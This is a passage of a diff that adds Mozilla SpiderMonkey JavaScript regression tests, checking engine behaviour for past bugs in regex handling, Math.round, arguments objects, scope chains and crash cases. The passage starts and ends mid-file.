+ // this must either be top level or must be
+ // evald since there is a bug in older versions
+ // that suppresses the |with| warning inside of a
+ // try catch block. doh!
+ eval('with (obj) { foo; }');
+
+ actual = 'No Warning';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-323314-1.js b/js/src/tests/js1_5/Regress/regress-323314-1.js
new file mode 100644
index 000000000..0d3c5496f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-323314-1.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 323314;
+var summary = 'JSMSG_EQUAL_AS_ASSIGN in js.msg should be JSEXN_SYNTAXERR';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var xyzzy;
+
+expect = 'SyntaxError';
+
+try
+{
+ eval('if (xyzzy=1) printStatus(xyzzy);');
+
+ actual = 'No Warning';
+}
+catch(ex)
+{
+ actual = ex.name;
+ printStatus(ex + '');
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-325925.js b/js/src/tests/js1_5/Regress/regress-325925.js
new file mode 100644
index 000000000..e75415b10
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-325925.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 325925;
+var summary = 'Do not Assert: c <= cs->length in AddCharacterToCharSet';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/[\cA]/.exec('\x01');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-326467.js b/js/src/tests/js1_5/Regress/regress-326467.js
new file mode 100644
index 000000000..5dc1f59b5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-326467.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326467;
+var summary = 'Do not assert: slot < fp->nvars, at jsinterp.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval('for(var prop in {1:1})prop;', {})
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-328012.js b/js/src/tests/js1_5/Regress/regress-328012.js
new file mode 100644
index 000000000..8ccc673b6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-328012.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328012;
+var summary = 'Content PropertyIterator should not root in chrome';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof focus != 'undefined' && focus.prototype)
+{
+ try
+ {
+ for (prop in focus.prototype.toString)
+ ;
+ }
+ catch(ex)
+ {
+ printStatus(ex + '');
+ actual = ex + '';
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-328664.js b/js/src/tests/js1_5/Regress/regress-328664.js
new file mode 100644
index 000000000..e4638ca6c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-328664.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328664;
+var summary = 'Correct error message for funccall(undefined, undefined.prop)';
+var actual = '';
+var expect = /TypeError: value.parameters (has no properties|is undefined)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value = {};
+
+function funccall(a,b)
+{
+}
+
+try
+{
+ funccall(value[1], value.parameters[1]);
+}
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex + '';
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-329383.js b/js/src/tests/js1_5/Regress/regress-329383.js
new file mode 100644
index 000000000..00c7260ca
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-329383.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 329383;
+var summary = 'Math copysign issues';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var inputs = [
+ -Infinity,
+ -10.01,
+ -9.01,
+ -8.01,
+ -7.01,
+ -6.01,
+ -5.01,
+ -4.01,
+ -Math.PI,
+ -3.01,
+ -2.01,
+ -1.01,
+ -0.5,
+ -0.49,
+ -0.01,
+ -0,
+ 0,
+ +0,
+ 0.01,
+ 0.49,
+ 0.50,
+ 0,
+ 1.01,
+ 2.01,
+ 3.01,
+ Math.PI,
+ 4.01,
+ 5.01,
+ 6.01,
+ 7.01,
+ 8.01,
+ 9.01,
+ 10.01,
+ Infinity
+ ];
+
+var iinput;
+
+for (iinput = 0; iinput < inputs.length; iinput++)
+{
+ var input = inputs[iinput];
+ reportCompare(Math.round(input),
+ emulateRound(input),
+ summary + ': Math.round(' + input + ')');
+}
+
+reportCompare(isNaN(Math.round(NaN)),
+ isNaN(emulateRound(NaN)),
+ summary + ': Math.round(' + input + ')');
+
+function emulateRound(x)
+{
+ if (!isFinite(x) || x === 0) return x
+ if (-0.5 <= x && x < 0) return -0
+ return Math.floor(x + 0.5)
+ }
+
+var z;
+
+z = Math.min(-0, 0);
+
+reportCompare(-Math.PI, Math.atan2(z, z), summary + ': Math.atan2(-0, -0)');
+reportCompare(-Infinity, 1/z, summary + ': 1/-0');
+
+z = Math.max(-0, 0);
+
+reportCompare(0, Math.atan2(z, z), summary + ': Math.atan2(0, 0)');
+reportCompare(Infinity, 1/z, summary + ': 1/0');
diff --git a/js/src/tests/js1_5/Regress/regress-329530.js b/js/src/tests/js1_5/Regress/regress-329530.js
new file mode 100644
index 000000000..05aa1e78b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-329530.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 329530;
+var summary = 'Do not crash when calling toString on a deeply nested function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var nestingLevel = 1000;
+
+function buildTestFunction(N) {
+ var i, funSourceStart = "", funSourceEnd = "";
+ for (i=0; i < N; ++i) {
+ funSourceStart += "function testFoo() {";
+ funSourceEnd += "}";
+ }
+ return Function(funSourceStart + funSourceEnd);
+}
+
+try
+{
+ var testSource = buildTestFunction(nestingLevel).toString();
+ printStatus(testSource.length);
+}
+catch(ex)
+{
+ printStatus(ex + '');
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-330352.js b/js/src/tests/js1_5/Regress/regress-330352.js
new file mode 100644
index 000000000..a33c61762
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-330352.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330352;
+var summary = 'Very non-greedy regexp causes crash in jsregexp.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+if ("AB".match(/(.*?)*?B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*?)*?B/)');
+
+if ("AB".match(/(.*)*?B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*)*?B/)');
+
+if ("AB".match(/(.*?)*B/))
+{
+ printStatus(RegExp.lastMatch);
+}
+reportCompare(expect, actual, summary + ': "AB".match(/(.*?)*B/)');
diff --git a/js/src/tests/js1_5/Regress/regress-330951.js b/js/src/tests/js1_5/Regress/regress-330951.js
new file mode 100644
index 000000000..a7b214023
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-330951.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330951;
+var summary = 'Crash in Array.sort on array with undefined value';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+[undefined,1].sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-334807-01.js b/js/src/tests/js1_5/Regress/regress-334807-01.js
new file mode 100644
index 000000000..977b97fc1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-334807-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function () { printStatus( arguments.join()); })( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-334807-02.js b/js/src/tests/js1_5/Regress/regress-334807-02.js
new file mode 100644
index 000000000..59b616695
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-334807-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Object = Array');
+
+Object = Array;
+
+try
+{
+ (function () { printStatus( arguments.join()); })( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-334807-03.js b/js/src/tests/js1_5/Regress/regress-334807-03.js
new file mode 100644
index 000000000..ae4e6a87d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-334807-03.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ 0, function () { printStatus( arguments.join()); }( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-334807-04.js b/js/src/tests/js1_5/Regress/regress-334807-04.js
new file mode 100644
index 000000000..4c229ceb3
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-334807-04.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '10.1.8 - arguments prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'TypeError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Object = Array');
+
+Object = Array;
+
+try
+{
+ 0, function () { printStatus( arguments.join()); }( 1, 2, 3 );
+}
+catch(ex)
+{
+ printStatus(ex + '');
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-334807-05.js b/js/src/tests/js1_5/Regress/regress-334807-05.js
new file mode 100644
index 000000000..02e698c50
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-334807-05.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '12.14 - exception prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ x.y;
+}
+catch(ex)
+{
+ try
+ {
+ actual = ex.name;
+ printStatus(ex + ': x.y');
+ ex.valueOf();
+ }
+ catch(ex2)
+ {
+ printStatus(ex2 + ': ex.valueOf()');
+ actual = ex2.name;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-334807-06.js b/js/src/tests/js1_5/Regress/regress-334807-06.js
new file mode 100644
index 000000000..46ca2c664
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-334807-06.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334807;
+var summary = '12.14 - exception prototype is the original Object prototype.';
+var actual = 'No Error';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('set Error = Number');
+
+Error = Number;
+
+try
+{
+ x.y;
+}
+catch(ex)
+{
+ try
+ {
+ actual = ex.name;
+ printStatus(ex + ': x.y');
+ ex.valueOf();
+ }
+ catch(ex2)
+ {
+ printStatus(ex2 + ': ex.valueOf()');
+ actual = ex2.name;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-336100.js b/js/src/tests/js1_5/Regress/regress-336100.js
new file mode 100644
index 000000000..9f19e761c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-336100.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336100;
+var summary = 'bug 336100 - arguments regressed';
+var actual = '';
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var arguments = [];
+
+expect = '[object Arguments]';
+actual = (function(){return (arguments + '');})();
+reportCompare(expect, actual, summary);
+
+// see bug 336100 comment 29
+expect = '';
+actual = (function(){with (this) return(arguments + '');})();
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-338307.js b/js/src/tests/js1_5/Regress/regress-338307.js
new file mode 100644
index 000000000..2e35cfd00
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-338307.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338307;
+var summary = 'for (i in arguments) causes type error (JS_1_7_ALPHA_BRANCH)';
+var actual = '';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ for (var i in arguments);
+}
+
+try
+{
+ f();
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-340369.js b/js/src/tests/js1_5/Regress/regress-340369.js
new file mode 100644
index 000000000..61dfd2ce2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-340369.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340369;
+var summary = 'Oh for crying out loud.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('return /;');
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-341360.js b/js/src/tests/js1_5/Regress/regress-341360.js
new file mode 100644
index 000000000..41fe5a0ca
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-341360.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341360;
+var summary = 'clearInterval broken';
+var actual = '';
+var expect = 'Ok';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function xxx()
+{
+ if(t != null)
+ {
+ print('Clearing interval...');
+ window.clearInterval(t);
+ t = null;
+ setTimeout('yyy()', 2000);
+
+ }
+ else {
+ print('Clearing interval failed...');
+ actual = "Broken";
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+ }
+}
+
+function yyy()
+{
+ print('Checking result...');
+ actual = 'Ok';
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+if (typeof window == 'undefined')
+{
+ expect = actual = 'Not tested';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ print('Start...');
+ gDelayTestDriverEnd = true;
+ var t = window.setInterval(xxx, 1000);
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-343713.js b/js/src/tests/js1_5/Regress/regress-343713.js
new file mode 100644
index 000000000..8d2cd609c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-343713.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 343713;
+var summary = 'Do not assert with nested function evaluation';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+with (this)
+ with (this) {
+ eval("function outer() { function inner() { " +
+ "print('inner');} inner(); print('outer');} outer()");
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-343966.js b/js/src/tests/js1_5/Regress/regress-343966.js
new file mode 100644
index 000000000..a2bb14540
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-343966.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 343966;
+var summary = 'ClearScope foo regressed due to bug 343417';
+var actual = 'failed';
+var expect = 'passed';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Function["prototype"].inherits=function(a){};
+ function foo(){};
+ function bar(){};
+ foo.inherits(bar);
+ actual = "passed";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-344711-n.js b/js/src/tests/js1_5/Regress/regress-344711-n.js
new file mode 100644
index 000000000..6a23285a2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-344711-n.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344711;
+var summary = 'Do not crash compiling when peeking over a newline';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ // exclude from browser as the crash only occurs in shell
+ // and attempting to trap the error prevents the crash.
+ var a1 = {abc2 : 1, abc3 : 3};
+ var j = eval('a1\\\n.abc2;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-344804.js b/js/src/tests/js1_5/Regress/regress-344804.js
new file mode 100644
index 000000000..fef426ea6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-344804.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344804;
+var summary = 'Do not crash iterating over window.Packages';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined')
+ {
+ for (var p in window.Packages)
+ ;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-344959.js b/js/src/tests/js1_5/Regress/regress-344959.js
new file mode 100644
index 000000000..e8e264c68
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-344959.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344959;
+var summary = 'Functions should not lose scope chain after exception';
+var actual = '';
+var expect = 'with';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = "global"
+
+ with ({x:"with"})
+ actual = (function() { try {} catch(exc) {}; return x }());
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ with ({x:"with"})
+ actual = (function() { try { throw 1} catch(exc) {}; return x }());
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-346237.js b/js/src/tests/js1_5/Regress/regress-346237.js
new file mode 100644
index 000000000..e8ca047f4
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-346237.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346237;
+var summary = 'RegExp - /(|)??x/g.exec("y")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(|)??x/g.exec("y");
+
+ reportCompare(expect, actual, summary + ': /(|)??x/g.exec("y")');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-346801.js b/js/src/tests/js1_5/Regress/regress-346801.js
new file mode 100644
index 000000000..0a61cb6ff
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-346801.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346801;
+var summary = 'Hang regression from bug 346021';
+var actual = '';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var Class = {
+ create: function() {
+ return function() {
+ this.initialize.apply(this, arguments);
+ }
+ }
+ }
+
+ Object.extend = function(destination, source) {
+ print("Start");
+// print(destination);
+// print(source);
+ if(destination==source)
+ print("Same desination and source!");
+ var i = 0;
+ for (property in source) {
+// print(" " + property);
+ destination[property] = source[property];
+ ++i;
+ if (i > 1000) {
+ throw "Hang";
+ }
+ }
+ print("Finish");
+ return destination;
+ }
+
+ var Ajax = {
+ };
+
+ Ajax.Base = function() {};
+ Ajax.Base.prototype = {
+ responseIsFailure: function() { }
+ }
+
+ Ajax.Request = Class.create();
+
+ Ajax.Request.prototype = Object.extend(new Ajax.Base(), {});
+
+ Ajax.Updater = Class.create();
+
+ Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype);
+ actual = 'No Hang';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-349482-01.js b/js/src/tests/js1_5/Regress/regress-349482-01.js
new file mode 100644
index 000000000..8e2b542b5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-349482-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349482;
+var summary = 'Decompiling try/catch in for..in should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
